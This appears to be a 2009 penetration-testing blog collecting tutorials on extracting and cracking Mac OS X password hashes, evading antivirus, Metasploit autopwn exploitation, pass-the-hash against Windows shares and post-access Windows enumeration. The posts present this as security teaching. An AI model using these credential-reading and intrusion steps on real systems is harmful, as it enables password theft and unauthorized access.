Monday, December 28, 2009

Cracking Mac OS X Passwords

In this post I will demonstrate how to both extract and crack Mac OS X passwords. The OS X variants that this tutorial is aimed at are 10.4 (Tiger), 10.5 (Leopard) and 10.6 (Snow Leopard).

Whilst Mac OS X is based on a Unix variant (BSD), there are several key differences between traditional Unix-based and Mac OS systems when it comes to password storage. Lets take a quick look at some of the differences.

If you have ever poked around on an OS X system, you may have noticed the absence of the /etc/shadow file. Whilst traditional Unix and BSD variants store their password hashes in /etc/shadow and /etc/master.passwd respectively, Mac OS X does not. Since the release of OS X 10.3 in 2003, Macintosh products have stored their shadow files in the /var/db/shadow/hash/ directory.

Another key difference is the way in which the two systems store their hashes. On a Unix-based system, every hash associated with the system is stored in the /etc/shadow file. This differs from OS X whereby each user has their own individual shadow file stored in the /var/db/shadow/hash/ directory. Each file is labeled by the user’s Globally Unique Identifier (GUID). N.B. A GUID is analogous to a Security Identifier (SID) on Windows-based systems.

Lastly, most Unix variants will use multiple rounds of the MD5 or DES cryptographic hash functions in order to encrypt system passwords. OS X systems encrypt passwords with the SHA1 hash function, coupled with a 4 byte salt.

In sum, OS X password storage has the following characteristics:

  • Password hashes are stored in the /var/db/shadow/hash/<GUID> file
  • Each user has their own shadow file
  • Local OS X passwords are stored as SHA1 hashes

STEP 1. OBTAINING THE GUID

So, the first thing we want to do in this exercise is find out what our GUID is. We do this by invoking the Directory Service command line (dscl) utility. Implemented in OS X 10.5 to replace the deprecated NetInfo directory service, dscl uses the Open Directory Framework to store, organise and access directory information. For our purposes, the directory service holds information specific to each user on the system.

The command we use to extract our GUID is as follows:

Note: Replace <username> with the username of the user you wish to extract.

10.4 (Tiger)

# niutil -readprop . /users/<username> generateduid

10.5 (Leapord) and 10.6 (Snow Leapord)

# dscl localhost -read /Search/Users/<username> | grep GeneratedUID | cut -c15-

This should return a value which appears in the following format: A66BCB30-2413-422A-A574-DE03108F8AF2

STEP 2. EXTRACTING THE HASHES

Next, we want to extract the SHA1 hash from the shadow file. For this, we do the following:

# cat /var/db/shadow/hash/A66BCB30-2413-422A-A574-DE03108F8AF2 | cut -c169-216

Note: Replace the above GUID with the one you have extracted from the previous step.

You should have been returned with a SHA1 hash that looks similar to the following: 33BA7C74C318F5D3EF40EB25E1C42F312ACF905E20540226

At this point it should be noted that OS X has the ability to store Window NT and LANMAN hash representations. This will only occur if SMB/CIFS file sharing has been turned on. To extract these passwords from the shadow file, type the following:

NT:

cat /var/db/shadow/hash/A66BCB30-2413-422A-A574-DE03108F8AF2 |cut -c1-32

LANMAN:

cat /var/db/shadow/hash/A66BCB30-2413-422A-A574-DE03108F8AF2 |cut -c33-64

STEP 3. CRACKING THE PASSWORD

At this point we are ready to crack the OS X passwords. To simplify this step, I have written a simple python script that can be downloaded here. To use this script, simply copy and paste the contents into a file (osx_crack.py) and type:

#python osx_crack.py bob

Note: 'bob' is the username whose password we want to crack.

This method is nice if you are only interesting in cracking passwords from a local system. If, however, you have captured a hash from a remote system, or would prefer a more familiar password cracking utility, then John The Ripper can also be used for this step. In order for John to work, John will need to be patched with the 'Jumbo Patch' - allowing SHA1 passwords (referred to as XSHA in John) to be cracked. The patch can be downloaded from the following locations:

Once we have download/patched John, the extracted hash and username should be placed in a text file. For this example I have added the username ‘bob’ and bob’s hash (that I obtained in STEP 2) into a file called sha1.txt. The file has the following format:

bob:33BA7C74C318F5D3EF40EB25E1C42F312ACF905E20540226

We can then use John the crack the password:

# ./john sha1.txt

If John is successful in recognising the hash, the following message will be displayed:
”Loaded 1 password hash (Mac OS X 10.4+ salted SHA1 [32/64])”

A successful cracking attempt will appear as follows:

password (bob)
guesses: 1 time: 0:00:00:00 100% (2) c/s: 153000 trying: password

Additional Resources

Sunday, December 13, 2009

Bypassing Anti-virus

Whether compromising a system for legitimate or non-legitimate purposes, bypassing anti-virus software is often an integral step in any intrusion exercise. Fortunately for enterprise, anti-virus and anti-malware software is now commonplace in most organisiations.

Whilst many of the tools that attackers wish to implement are constantly being blacklisted, this isn't without reservation. Attackers are still getting malware into systems and penetration testers are still able to compromise systems. So the question is, how is this possible? The answer: Bypassing anti-virus, of course.

In this post I intent to present several tools that can be used in bypassing anti-virus/anti-malware software. I will provide a brief background on each tools operation and a summary of its use. But first, some background.

Anti-virus software typically works by using either signature-based detection or heuristic-based detection (some products use both).

Signature-based detection products rely on receiving updates from the anti-virus vendor. Anti-virus vendors such as McAfee, Symantec, Sophos etc. work 24 hours a day 7 days a week to continually update their databases with newly discovered malware. Every time a new piece of malware is identified, a 'fingerprint', or 'signature' of the malware is made. These uniquely identifiable signatures are periodically downloaded by anti-virus clients and are used to identify malicious files. Software that the vendor has identified as malicious is able to be caught by the anti-virus software because an infected file's 'signature' (or fingerprint) matches that of the signature downloaded from the vendor. Signature-based detection can be seen as analogous with making a comparison. ie We compare the infected file's signature with the signatures I have in my database. Do the signatures match? If they do, we know the program is malicious and it goes into quarantine. If not, the program is safe and we can let the program run.

Heuristic-based detection is somewhat different. In the mathematics and computer science disciplines, the term heuristic can be simply described as a 'best guess'. Instead of making a signature comparison, heuristic-based detection looks at what the software is actually doing, as opposed to what it looks like. Based on behavior, heuristic-based products quarantine software that is acting suspiciously. So if a program is misbehaving by trying to elevate its privileges on a system, there is a possibility it may be flagged for quarantine. Heuristics-based detection is often prone to false positives, and as such, is not as common as it's signature-based counterpart.

Now lets talk about their shortcomings of signature-based detection.

Signature-based detection is overcome by something known as obfuscation. Code obfuscation is the process of changing the appearance of a program's source code. This can be done in many different ways, including: substituting for loops for while loops; eradicating loops with recursion; compression techniques; renaming variables; altering strings; and so on.

So now if we think back to how signature-based detection works, we can quickly see that it is near impossible for an anti-virus vendor to blacklist all the possible combinations of how a program can appear. And here in lies the dilemma. Anti-virus vendors can indeed continue to blacklist known malware, but this falls short reasonable quickly when programs can be obfuscated in a myriad of different ways.

Whilst there a many ways one can obfuscate a program's code, I am only going to discuss three here. These are three of the most common and simple tools for achieving anti-virus avoidance.

UPX Packer
Packing is a simple way to disguise executables. By adding a decompression header to the front of a the packed executable, the executable is able to be read and inflated in memory by the operating system.

The Ultimate Packer for eXecutables (UPX)
is a free, open source, portable packer written by Markus F.X.J. Oberhumer, László Molnár and John F. Reiser.

Usage:
upx [-123456789dlthVL] [-qvfk] [-o file] file...

Commands:
-1 compress faster -9 compress better
-d decompress -l list compressed file
-t test compressed file -V display version number
-h give more help -L display software license
Options:
-q be quiet -v be verbose
-oFILE write output to 'FILE'
-f force compression of suspicious files
-k keep backup files
file.. executables to (de)compress
PE-Scrambler
PE-Scrambler is a simple utility written by Nick Harbour that scrambles and obfuscates binaries at the machine code instruction level. Altering the Opcodes at the lowest level, this utility is a highly effective obfuscator.

Usage:
> pescrambler.exe -i [inputfile.exe] -o [outputfile.exe]

Resources:
Interview with the author
Author's presentation on the tool

msfencode/msfpayload
These two tools come standard with the Metasploit Framework. Whilst in previous versions of Metasploit it required a bit of a hack to obfuscate Metasploit payloads, the latest release (3.3) makes the process trivial. I would like to point you to Adrian Crenshaw's posting on IronGeek for this one. He has recently posted a very nice video tutorial on the process.

So, what was the point of me telling you all this? Was it to tell you that anti-virus software is dead and you should just uninstall it completely from your network? Hardly.

My intentions here were to inform people that anti-virus, like all security controls, has its weaknesses. Anti-virus should no longer be looked at as the be all and end all of end-point system protection. It should be, like every other control, one of multiple mechanisms within a multi-tiered security architecture.

Here are some additional controls that can compliment anti-virus software:

Host-based intrusion prevention/detection systems
Host-based firewall logging (Win)
Host-based firewalling (Unix)
Application white-listing

Additional Resources:
Chris Brenton's talk on why AV is dead

Monday, November 16, 2009

Wednesday, November 11, 2009

Metasploit Autopwn: Hacking made simple

Nowadays, exploiting a system requires little, if no knowledge of computer systems or networking. Merely, someone with 10 minutes on their hands that is interested enough to Google how it’s done.

One with very little skills has the ability to fire up Metasploit, load an exploit, and fire it at the target system – giving attacker’s the ability to compromise a system within minutes.

I thought I would write a post on Metasploit’s autopwn module to reiterate just how simple it is to attack/compromise a system in today’s environment. My intentions here are to give you a tutorial on the Metasploit autopwn module and provide a timely reminder on just how important it is to have a good patch policy in place. I would also recommend regular audits on system services.

The tools I will be using in this tutorial are:
  • Nessus - A free vulnerability scanner for Mac OS, Windows and Linux
  • Metasploit – framework 3 - A free exploit framework for launching exploits against targets
  • A virtual machine running an unpatched version of Windows XP SP2 as my target system
1. First we’ll fire up Nessus and run a scan on our network.



As we can see, Nessus has picked up several ‘High’ risk vulnerabilities on the target system (indicated by the red highlighting).

2. We will now export our Nessus scan results. In order to use these results in Metasploit’s autopwn module, we will need to save the results in the Nessus .nbe format.

First click the ‘Export…” button In the ‘Report’ tab. Second, select the ‘Save as…’ option and choose ‘NBE (*.nbe)’. Now save the file.



3. Now we want to import our Nessus output into Metasploit. Browse to your Metasploit main directory (On Backtrack 4 it will be /pentest/exploits/framework3) and fire up Metasploit.
# ./msfconsole


 Note: I am using Linux for this section, but Windows is fine.

4. Next we want to create a database to store our Nessus results. This will allow autopwn to quickly traverse the database and assess whether the vulnerabilities found are indeed exploitable.
At the Metasploit console, type:
msf > db_create
You should see the following:




You have just created an sqlite database to store the results of the Nessus scan.
Note: Metasploit has context sensitive help which is very useful. If you type ‘help’ in the Metasploit console at any stage of this process you will be able to see the commands available to you for the specific module you have loaded. Very cool :)

5. We’ll now connect to our newly created database. To do this, we type:
msf > db_connect
You’ll notice that Metasploit is smart enough to realize that you want to connect to the most recently created database. If you wanted to connect to a different database – one that you had possibly made earlier – you would specifiy the path/database name after the db_connect command i.e. db_connect /root/.msf3/test.db

6. Now lets import our Nessus results into Metasploit. For this, we type:
msf > db_import_nessus_nbe /root/test.nbe
Notice here I have added the path to my Nessus output file after the import command (db_import_nessus_nbe).

Note: You will not get any confirmation after you have imported the Nessus results into your database. Instead, you will just be returned to the Metasploit console prompt.

7. Now we get to the autopwn part! It is a good idea at this point to type:
msf > db_autopwn
This will display a list of arguments that the autopwn module can use.




The arguments that I will first be using are:
-t Show all matching exploit modules
-x Select modules based on vulnerability references
msf > db_autopwn –t -x
Note: At this point I could just use –e and autopwn would try and exploit the target system. However, in my case, I know that the target system is vulnerable to multiple denial of service exploits which will cause my system to crash – and I don’t particularly want that :)

8. Exploiting! Now that we have seen which vulnerabilities are available to exploit, we have two options:
a)Manually set up the exploit, or
b)Let autopwn do the work for us

For the sake of this tutorial, I’ll use the autopwn option.

If you are happy to use all available exploits against the target system, the process would be as simple as:
msf > db_autopwn –x –e –r
And viola! If one of the exploits was successful, you will be presented with a command shell of the target system.

I hope this tutorial has shown just how simple it is in today’s environment to compromise an out-of-date/unpatched/misconfigured system.  I trust this reiterates the importance of maintaining a good patch policy alongside regular audits of system services.

Tuesday, November 10, 2009

Milw0rm is back! -- Sort Of

If you are someone who is interested in exploit code, you would have undoubtedly noticed that milw0rm.com has been dormant since September. Speculation has arisen over Str0ke's health -- with some even stating that he is dead. This is incorrect. However, whilst str0ke's health is intact, the milw0rm repository is not. It appears the site has been troubled by DoS attacks and Str0ke has been subject to trolling. However, with the unknown state of milw0rm, another exploit resource has risen.

On November 4, Offensive Security announced they will be maintaining a new exploit repository -- one which replaces milw0rm. The Offensive Security Exploit Archive "...will be picking up from the place Milw0rm left, and will be maintaining a new exploit archive collection which will be open to the public."

Copy-cat resources currently exist which mirror milw0rm:
Inj3ct0r
milw

Monday, November 9, 2009

New Australian iPhone Worm

Yesterday, A newly discovered iPhone worm was found in the wild. The worm targets jailbroken iPhones - primarily affecting Australian 3G customers.

In this post I will sum up the worms operation and provide links on its removal, source code and further readings.

Initially, the worm scans for Australian 3G IP addresses (hardcoded into the source) on the Vodafone, Optus and Telstra networks. It spreads through 'jailbroken' iPhones using the Cydia application.

The worm spreads through the use of default SSH credentials. If the default SSH root password has not been changed (alpine), the worm will connect to port 22 and copy itself onto the phone. The worm will then kill the SSH service (to avoid someone else compromising the phone) and change the background image to Rick Astley. The worm will then look for other deices to infect.

Whilst the worm is currently frivolous in it's operations, it doesn't take much imagination to realise the potential for something more malicious.

So now people will be asking question, why am I posting the source code? The reason here is twofold. I think it's important to not only get the code out into the public so people can understand/identify the risk it poses, but also effectively defend against it should more malicious versions of the code become available.

Source Code
Removal of the Worm
Interview with ikee, the worm's author

More details about the worm:
http://isc.sans.org/diary.html?storyid=7549
http://mashable.com/2009/11/08/first-iphone-worm/
First identification (author involved)

Tuesday, October 20, 2009

Incident Response Template

Last week, a security incident occurred on one of my client's networks. After the incident was resolved, formal documentation detailing the incident and incident response process was required for managerial review. I thought I would share this should anyone be interested in an incident response template. This is the template I came up with for the final incident response report:

IncidentResponseTemplate.docx

Feel free to alter it relative to your needs.

Sunday, October 4, 2009

Enumerating Windows Information

After you have gained access to a box, the first thing you want to do as a pen tester is obtain as much information about the machine/network as possible. Here is a list of commands that aim to enumerate host/network information from a Windows machine. The following commands are for Windows XP/Vista/7 unless stated otherwise.

Operating System Details

> ver

> systeminfo

Who are you logged in as

> set username

Which domain/workgroup is the machine apart of

> set userdomain

What is the machine called

> set computername

Windows 7 only

> whoami

List user groups on the system

> net localgroup

List users on the machine

> net user

List users in administrative group

> net localgroup administrators

View all mapped logical/shared drives on the system

> wmic logicaldisk get caption,description,providername

List all listening services on the machine

> netstat –nao

See which other machines the system has been communicating with

> arp –a

View what directories are currently being shared

> net share

View firewall configuration

> netsh firewall show config

Windows 7 only

> netsh advfirewall firewall show rule name=all more

or

> netsh advfirewall firewall show rule name=all dir=<inout>

NOTE: For more information on this command please see:

http://support.microsoft.com/kb/947709

View all currently running processes

> tasklist

Find a specific task through Process ID (PID), where x is an arbitrary PID

> tasklist /fi “pid eq x”

or

> tasklist find “x”

Find tasks running under a specific user, where x is an arbitrary username

> tasklist /fi “username eq x”

For more information on information gathering/windows forensics, check out:

http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots

Saturday, August 29, 2009

Pass-the-Hash Attack with Backtrack 4

For the uninitiated, a pass-the-hash attack is a way to gain access to a Windows machine without having to supply user credentials. Sounds great yeah? Cool, now you can go ahead and delete Cain and john because your password cracking days are over? Well, not quite. Before you get too excited you should realize there's a catch -- you must first have in your possession a password hash of the machine that you want to compromise. So now you're probably asking yourself, "Why is that useful if I need to have access to the box in the first place?" Well, picture this:

Say you were conducting a penetration test on Company X and you were unable to crack the administrator password. Now, like most organizations, Company X is using the same administrator password on all of its machines. So gaining access to this password would allow you to pwn the entire network. Now lets say that Company X believes strongly in security, and has a 20 character random password for their administrator password. So now you're screwed right? Wrong.

By having access to just one machine that holds this master account that is present on all machines (the administrator account in this example), you are able to utilize a pass-the-hash attack by 'passing' just the hash to every other machines on the network. By receiving the hash, Windows believes that you have successfully authenticated and provides you access to the host. Kinda cool huh?

Now that I've given you some background, here's how you go about setting it up on Backtrack 4. There are a few tweaks that need to be made in order for this to work on Backtrack 4.

Pass the Hash Attack Tutorial for Backtrack 4 Users:

1. Download Samba 3.0.22:
http://us3.samba.org/samba/ftp/old-versions/samba-3.0.22.tar.gz

2. Download both of the Foofus Samba patches:
http://www.foofus.net/jmk/tools/samba-3.0.22-add-user.patch
http://www.foofus.net/jmk/tools/samba-3.0.22-passhash.patch

3. Extract the samba archive where you would like to access Samba from. I've chosen /opt/

4. From the directory where you have installed Samba (/opt/ for me), patch the appropriate files
# cd /opt/
# patch -p0 <samba-3.0.22-add-user.patch
# patch -p0 <samba-3.0.22-passhash.patch

5. Configure Samba with smbmount
# cd /opt/samba3.0.22/source
# ./configure --with-smbmount

6. Compile/Install Samba (still in the /opt/samba3.0.22/source/ directory)
# make
# make install

7. Create a mount point in order to mount the Windows share
# mkdir /mnt/target

8. Alter the fstab file to allow /mnt/target to be mounted
# pico /etc/fstab
At the bottom of the file add this entry:
none /mnt/target tmpfs defaults 0 0

9. Copy smb.conf to the correct directory
# cp /opt/samba-3.0.22/packaging/Debian/debian-woody/smb.conf /usr/local/samba/lib/smb.conf

10. Mount the target directory
# mount /mnt/target

11. Add your compromised hash to the SMBHASH environment variable
# export SMBHASH="92D887C9910492C3254E2DF489A880E4:7A2EDE4F51B94203984C6BA21239CF63"

Note: The format for this should be "LMHASH:NTHASH"

12. Implement your pass-the-hash attack
# cd /opt/samba3.0.22/source/bin

Usage: smbmount //target-ipaddress/sharename /mount/point -o username=username-associated-with-hash-here

# ./smbmount //10.0.0.100/C$ /mnt/target -o username=administrator

13. Type an arbitrary password
At this point would be asked to supply a password. Type anything you want here -- just make sure its not blank. So, for example, you could just type 'blah' and hit return.
14. Check to see that you have successfully mapped the Windows share
# ls /mnt/target

If you would like a video tutorial on the pass-the-hash technique, please see John Strand's video:
http://vimeo.com/2852120

Friday, August 7, 2009

Installing Kismet on Backtrack 4 Pre Release

Backtrack 4 has all the bells and whilstles we love and have come to expect from Backtrack in the past. That said however, as Bakctrack is currenly in a "Pre Realease" version, there are a couple of teething issues with various bits and pieces. One such issue is with Kismet Newcore.

Kismet is our friendly little wireless stumbler that we all love. In Backtrack 4 pre release you may have noticed it is either missing functionality, or just plain doesn't work!

Here is a quick guide for you to download an alternate version of Kismet Newcore and install it on Backtrack 4:

1. Make sure your network adapter is on
# dhclient eth0


2. Change your director to /usr/src to download the Kismet Newcore source code
# cd /usr/src


3. Download the Kismet source using the built-in subversioning software
# svn co https://kismetwireless.net/code/svn/trunk kismet


4. Open the newly created kismet directory
# cd kismet


5. Confrigure and make the source code
# ./configure --prefix=/opt && make && make install


6. Now change your directory to where you want kismet to store its logging files
# cd somewhere/useful/for/your/logging/files


7. Run kismet
# /opt/bin/kismet


There you have it! A fresh version of Kismet Newcore installed.

When you run kismet, it will ask you to add a new capture source. You will (typically) add wlan0. This will change however, depending on your hardware.

Wednesday, August 5, 2009

Installing Nessus on Backtrack 4

Here is an easy to follow tutorial on installing nessus on the Backtrack 4 Pre Release. This is courtesy of secure_it at the remote-exploit forums.

First download these packages


Nessus-3.2.1-ubuntu804_i386.deb
NessusClient-3.2.1-debian4_i386.deb


(I have chosen debian package because NessusClient-3.2.1.1-ubuntu804.i386.deb was missing some of dependencies and was not installing correctly.instead the debian package worked like a charm as its upto-date with dependencies and it produces no error at all.


Next register your copy to get plugins update using homefeed and please provide the real mail ID as they will send you the activation key for homefeed.


Regsiter Here


Click accept and enter a valid working email ID.


now we start installing the packages.


root@ThUndErbOLt:~#dpkg -i Nessus-3.2.1-ubuntu804_i386.deb


now configure the certificate & admin user for nessus
root@ThUndErbOLt:~#/opt/nessus/sbin/nessus-mkcert (this is neccessary to communicate between nessus client to nessus daemon/remote host)
(configure options accordingly or just press enter for default)

CA certificate life time in days [1460]:
Server certificate life time in days [365]:
Your country (two letter code) [FR]:IN
Your state or province name [none]: Karnataka
Your location (e.g. town) [Paris]: Bangalore
it should show the message
Congratulations. Your server certificate was properly created.
hit enter to come out


root@ThUndErbOLt:~#/opt/nessus/sbin/nessus-adduser
enter information about the user.
Login
Authentication (Pass/Cert)
Password:
confirm password:
after configuring the parameters it ask for rule-set.we have configured the admin user having full permissions.if we wants to limit and want to add certain users then we can use rule-set here.
For configuring ruleset please refer to nessus-adduser(8) man page for the rules syntax as it limit the use of nessus.
press ctrl + d
it asks for confirmation.choose y


now start Nessus daemon by using
root@ThUndErbOLt:~# /etc/init.d/nessusd start
$Starting Nessus : .


confirm that its running using
root@ThUndErbOLt:~# netstat -ant|grep 1241
tcp 0 0 0.0.0.0:1241 0.0.0.0:* LISTEN
tcp6 0 0 :::1241 :::* LISTEN


now Install NessusClient(the GUI Frontend to use nessusd)
root@ThUndErbOLt:~# dpkg -i NessusClient-3.2.1-debian4_i386.deb


now register the plugin feed for updating nessus
root@ThUndErbOLt:~#/opt/nessus/bin/nessus-fetch --register XXXX-XXXX-XXXX-XXXX(replace X with your keys)
Your activation code has been registered properly - thank you.
Now fetching the newest plugin set from plugins.nessus.org...
now it will download the plugins and will purge them into database.if you don't wan't to do this now.press ctrl + c to cancel it.later you can download it using



root@ThUndErbOLt:~#/opt/nessus/sbin/nessus-update-plugins



run the scan using NessusClient
backtrack menu->Internet->NessusClient
click on + icon
by default selected radiobox is single host
type Host Name localhost & hit save
select the localhost & press connect
from connect option box choose edit
set the Login & Password which we created earlier using nessus-adduser
hit Save
select localhost & hit connect
first time it asks for logging into nessus server.hit yes

now you can customize the default scan/microsoft scan policy and can scan.that's it!

***note if you are having dependency issues with the Nessus Client use the following command: apt-get update